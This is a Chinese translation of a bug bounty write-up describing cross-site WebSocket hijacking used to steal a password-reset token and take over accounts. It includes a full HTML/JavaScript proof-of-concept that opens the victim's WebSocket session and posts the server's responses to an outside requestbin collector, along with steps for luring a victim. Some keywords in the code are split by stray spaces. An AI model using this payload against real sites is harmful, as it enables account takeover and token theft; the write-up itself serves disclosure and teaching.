在一次漏洞懸賞活動中,我發現了一個使用WebSocket連接的應用,所以我檢查了WebSocket URL,發現它很容易受到CSWH的攻擊(WebSocket跨站劫持)

有關CSWH的更多詳細信息,可以訪問以下鏈接瞭解

https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

首先,我們假設一個應用是通過以下URL建立websocket連接的 wss://website.com。關於驗證URL是否存在CSWH漏洞可以遵循以下步驟:

  1. 在瀏覽器上打開Web應用並登錄。
  2. 在新選項卡中輸入websocket.org/echo.html,輸入WebSocket URL並單擊「連接」。
  3. 建立連接後,你必須能夠從此頁面向伺服器發送數據幀。接著,使用burpsuite的proxy捕獲websocket數據幀進行調試,多次發送,查看伺服器如何響應。如果burp的回應和網頁的回應一樣,則表示目標很可能容易受到WebSocket跨站劫持的攻擊

通過以上步驟,我確定應用存在CSWH漏洞。

一旦在新選項卡上建立了WebSocket連接,我就收到了下面的websocket響應

從上述響應中你可看到,參數「_forgotPasswordId」的值為「null」。

現在我需要「_forgotPasswordId」參數來發送惡意請求來重置密碼。

我再次測試了Websocket連接,這次觀察到了如下回應,它包含一個forgetPasswordID令牌

利用

現在準備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發送XHR請求,並把回應導向攻擊者控制的站點。

<!-- Reference http://www.websocket.org/echo.html -->
<!DOCTYPE html>
<me ta charset="utf-8" />
<title>Testing</title>
<sc ript language="ja vasc ript" type="text/ja vasc ript">
var wsUri = "wss://host.com";
var output;
function init()
{
output = document.getElementById("output");
testWebSocket();
}
function testWebSocket()
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.on error = function(evt) { on error(evt) };
}
function onOpen(evt)
{
writeToScreen("CONNECTED");
doSend(websocket fr ame );
}
function onClose(evt)
{
writeToScreen("DISCONNECTED");
}
function onMessage(evt)
{

var xhr = new xm lHttpRequest();
xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send(evt.data);
websocket.close();
}
function on error(evt)
{
writeToScreen(<span stylex="color: red;">ERROR:</span> + evt.data);
}
function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}
function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}
window.addEventListener("load", init, false);
</sc ript>

<h2>WebSocket Test</h2>

<di v id="output"></di v>

攻擊步驟

  1. 利用「忘記密碼」頁面,發送受害者帳戶的密碼重置請求
  2. 託管以上html到公網網站上,並向受害者發送這個URL(類似於CSRF攻擊)
  3. 一旦受害者點擊URL,就可以在監聽器上得到websocket響應,如下圖所示

擁有這個「forgotPasswordID」令牌,我們就可以重置受害者密碼。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場
來源:https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:利用WebSocket跨站劫持(CSWH)漏洞接管帳戶|NOSEC安全訊息平臺 - NOSEC.ORG

原文:medium.com/@sharan.pane

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章